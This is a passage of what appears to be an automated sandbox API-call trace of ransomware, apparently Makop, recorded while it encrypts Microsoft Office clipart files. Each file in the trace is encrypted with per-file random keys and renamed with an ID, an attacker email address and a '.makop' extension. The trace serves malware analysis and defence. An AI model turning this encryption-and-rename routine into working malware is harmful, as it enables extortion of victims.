hFindFile=0x48c7068) returned 1 [0105.474] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc9c7fe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc9c7fe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0105.474] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office") returned 33 [0105.474] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\*.*") returned 37 [0105.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc9c7fe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc9c7fe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0105.475] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc9c7fe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc9c7fe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.475] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0105.475] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART") returned 41 [0105.475] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*") returned 45 [0105.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0105.477] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.477] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0105.477] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 50 [0105.478] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*") returned 54 [0105.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0105.484] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.485] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0105.485] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0105.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.486] GetProcessHeap () returned 0x48a0000 [0105.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.486] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.487] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.487] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.487] GetProcessHeap () returned 0x48a0000 [0105.487] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.487] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.487] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.487] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.493] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2340, lpOverlapped=0x0) returned 1 [0105.494] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2340, dwBufLen=0x2340 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2340) returned 1 [0105.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.495] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2340, lpOverlapped=0x0) returned 1 [0105.495] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.495] SetEndOfFile (hFile=0xf0) returned 1 [0105.503] GetProcessHeap () returned 0x48a0000 [0105.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.503] GetProcessHeap () returned 0x48a0000 [0105.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.503] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.505] CloseHandle (hObject=0xf0) returned 1 [0105.505] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0105.505] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0105.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.505] GetProcessHeap () returned 0x48a0000 [0105.505] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.505] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.506] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.506] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.506] GetProcessHeap () returned 0x48a0000 [0105.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.506] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.506] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.510] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.510] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.511] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.511] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.511] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.511] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c30, lpOverlapped=0x0) returned 1 [0105.516] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c30) returned 1 [0105.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c30, lpOverlapped=0x0) returned 1 [0105.517] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.517] SetEndOfFile (hFile=0xf0) returned 1 [0105.524] GetProcessHeap () returned 0x48a0000 [0105.524] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.524] GetProcessHeap () returned 0x48a0000 [0105.524] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.524] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.526] CloseHandle (hObject=0xf0) returned 1 [0105.526] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0105.526] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0105.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.528] GetProcessHeap () returned 0x48a0000 [0105.528] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.528] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.528] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.529] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0105.533] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.533] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.534] GetProcessHeap () returned 0x48a0000 [0105.534] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.534] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.534] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.534] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.534] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.534] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.534] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.535] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.535] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.535] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a19, lpOverlapped=0x0) returned 1 [0105.537] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a20) returned 1 [0105.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a20, lpOverlapped=0x0) returned 1 [0105.537] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.537] SetEndOfFile (hFile=0xf0) returned 1 [0105.544] GetProcessHeap () returned 0x48a0000 [0105.545] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.545] GetProcessHeap () returned 0x48a0000 [0105.545] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.545] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.581] CloseHandle (hObject=0xf0) returned 1 [0105.582] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0105.582] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft 